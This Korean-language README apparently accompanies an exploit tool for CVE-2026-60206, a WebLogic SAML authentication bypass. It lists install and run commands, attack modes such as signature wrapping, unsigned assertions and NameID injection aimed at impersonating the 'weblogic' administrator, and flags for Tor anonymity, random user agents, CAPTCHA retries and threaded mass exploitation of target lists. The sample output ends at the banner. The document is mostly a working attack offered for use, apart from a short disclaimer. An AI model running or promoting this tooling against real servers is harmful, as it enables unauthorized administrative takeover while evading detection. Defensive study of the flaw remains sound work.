
치명적인 Oracle WebLogic Server SAML 인증 우회 취약점인 CVE-2026-60206에 대한 기술적 분석 및 Proof-of-Concept입니다.
이 저장소는 Oracle WebLogic Server의 SAML 구현에서 발견된 심각한 인증 우회 취약점인 CVE-2026-60206에 대한 개념 증명(PoC) 익스플로잇을 제공합니다. 이 결함으로 인해 원격의 낮은 권한을 가진 공격자가 SAML 어서션(assertion)을 위조하여 서버를 완전히 장악할 수 있습니다.
⚠️ 면책 조항: 이 도구는 승인된 보안 연구 및 테스트 목적으로만 사용됩니다. 소유하거나 명시적 테스트 권한이 있는 시스템에만 사용하십시오. 작성자는 오용에 대한 책임을 지지 않습니다.
CVE-2026-60206은 Oracle WebLogic Server의 Core 구성 요소에 영향을 미칩니다. 이 취약점은 SAML 프로토콜 구현의 부적절한 인증 처리에서 비롯됩니다. XML Signature Wrapping(XSW), 서명되지 않은 어서션 허용, NameID 조작, audience/conditions 우회와 같은 여러 공격 벡터를 통해 공격자는 임의의 사용자(예: weblogic)를 가장하여 관리자 액세스 권한을 획득할 수 있습니다.
영향을 받는 버전:
이 PoC는 다음과 같은 공격 벡터를 구현합니다:
WantAssertionsSigned가 적용되지 않는 경우).AudienceRestriction을 제거하거나 수정하여 범위를 확장합니다.NotBefore/NotOnOrAfter를 조작하여 유효성 검사를 우회합니다.all, unsigned, xsw, nameid, audience, conditions, combo, replay 중에서 선택할 수 있습니다.-l 사용).-r).httpx를 자동으로 사용하며, 그렇지 않으면 requests(HTTP/1.1)로 대체됩니다.--save-payloads).-c / --check) – 대상이 취약한지 빠르게 판별합니다(공격 없음).git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
필수: requests, urllib3
선택 사항(기능 향상):
httpx – HTTP/2 지원용lxml – 향상된 SAML 파싱용signxml, cryptography – 서명 처리용(공격에는 필요하지 않음)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Flag | 설명 |
|---|---|
-h, --help | 도움말 메시지를 표시하고 종료합니다. |
--proxy PROXY | 프록시 URL(--tor 사용 시 무시됨). |
--no-verify | SSL 인증서 검증을 비활성화합니다. |
--cookie COOKIE | 세션 쿠키 (예: name=value; name2=value2). |
--auth AUTH | 기본 인증 자격 증명 (USER:PASS). |
| Flag | 설명 |
|---|---|
-t, --target TARGET | 단일 대상 URL (예: https://host:7002). |
-l, --list LIST | 대량 스캔용 대상 목록 파일 또는 단일 URL. |
-f, --file FILE | --list의 별칭. |
| Flag | 설명 |
|---|---|
-r, --requestfile REQUESTFILE | 파일에서 원시 HTTP 요청을 로드합니다(SAML 공격 대체). |
--method METHOD | 사용할 HTTP 메서드(원시 요청 또는 단일 요청용; 기본값: GET). |
--random-agent | 내장 목록에서 무작위 User-Agent를 사용합니다. |
-A, --user-agent USER_AGENT | 사용자 지정 User-Agent 헤더 값. |
--tor | Tor 익명 네트워크를 사용합니다(기본값 SOCKS5). |
--tor-port TOR_PORT | Tor 프록시 포트(기본값: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tor 프록시 유형(기본값: SOCKS5). |
--check-tor | Tor가 올바르게 사용되는지 확인합니다(결과와 함께 종료). |
--delay DELAY | 각 요청 사이의 지연 시간(초). |
--timeout TIMEOUT | 타임아웃(초) (기본값: 30). |
--retries RETRIES | 타임아웃/오류 시 재시도 횟수(기본값: 3). |
--retry-on RETRY_ON | 응답 내용이 정규식과 일치하면 요청을 재시도합니다(예: 'captcha'). |
-dr, --disable-redirects | HTTP 리다이렉트 추적을 비활성화합니다. |
| Flag | 설명 |
|---|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | 공격 모드(기본값: all). |
--detect | WebLogic 버전 및 SAML 구성만 탐지합니다(공격 없음). |
-c, --check | 빠른 취약점 확인(탐지만 수행, 결과와 함께 종료). |
-u, --user USER | 가장할 대상 사용자(기본값: weblogic). |
--groups GROUPS | SAML 어서션에 포함할 그룹(기본값: Administrators,Monitors). |
--issuer ISSUER | SAML 발급자(Issuer) 엔터티 ID. |
--audience AUDIENCE | SAML Audience 엔터티 ID. |
--relay-state RELAY_STATE | SAML POST용 RelayState 매개변수. |
--base64 | POST에서 SAML 응답을 Base64로 인코딩합니다. |
--extra-attrs [NAME=VALUE ...] | 추가 SAML 속성 (예: role=admin). |
--replay-file REPLAY_FILE | 재전송용 캡처된 SAML 응답 경로. |
--save-payloads | 생성된 SAML 페이로드를 ./payloads/에 저장합니다. |
--continue-on-success | 공격 성공 후에도 테스트를 계속합니다. |
-l 사용):| Flag | 설명 |
|---|---|
--exploit | 서명되지 않은 SAML 어서션을 테스트합니다(기본값: 탐지만). |
-T, --threads THREADS | 동시 스레드 수(기본값: 10). |
| Flag | 설명 |
|---|---|
-v, --verbose | 상세 수준을 높입니다(디버그 출력). |
-q, --quiet | 필수적이지 않은 출력을 억제합니다. |
--list-modes | 모든 공격 모드를 설명과 함께 나열하고 종료합니다. |
-o, --output OUTPUT | JSON 또는 CSV 보고서를 파일에 기록합니다. |
detect버전 탐지 및 SAML 엔드포인트 프로빙을 수행합니다. 공격은 실행되지 않습니다.
unsigned완전히 서명되지 않은 SAML 어서션을 주입합니다. 대상이 WantAssertionsSigned를 적용하지 않는 경우, 이 방식은 인증을 완전히 우회합니다.
변형: unsigned (기본값), unsigned_stripped (모든 서명 참조 제거).
xsw (XML 서명 래핑)유효한 서명 어서션 앞에(또는 이를 감싸도록) 악성 서명되지 않은 어서션을 배치합니다. SAML 프로세서는 첫 번째 어서션을 선택하는 반면, 서명 검증기는 서명된 어서션을 검사할 수 있습니다.
변형: xsw1 (단순 앞에 추가), xsw2 (원본과 동일한 ID), xsw3 (중첩 래퍼), xsw4 (형제 요소).
nameidNameID 필드를 조작하여 WebLogic의 ID 매퍼(identity mapper)를 혼란시켜 다른 사용자로 가장할 수 있게 합니다.
변형: comment_injection, whitespace, format_confusion, xpath_injection.
audienceaudience 요소를 제거하거나 수정하여 AudienceRestriction 검사를 우회합니다.
변형: remove_audience, wildcard_audience, extra_audience.
conditions시간 기반 제한(예: NotBefore, NotOnOrAfter)을 우회합니다.
변형: future_timestamp, expired_timestamp, remove_conditions, infinite_validity.
comboXSW, 서명되지 않은 어서션 및 NameID 조작을 하나의 페이로드로 결합합니다 – 완전한 장악에 가장 유력한 벡터입니다.
변형: combo_full (주석 주입 포함), combo_stealth (줄바꿈 포함).
replay이전에 캡처한 SAML 응답을 재전송하며, 선택적으로 destination을 수정하거나 audience 제한을 제거할 수 있습니다.
변형: replay_modified (Destination/Recipient 조정), replay_cross_sp (audience 제한 제거).
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝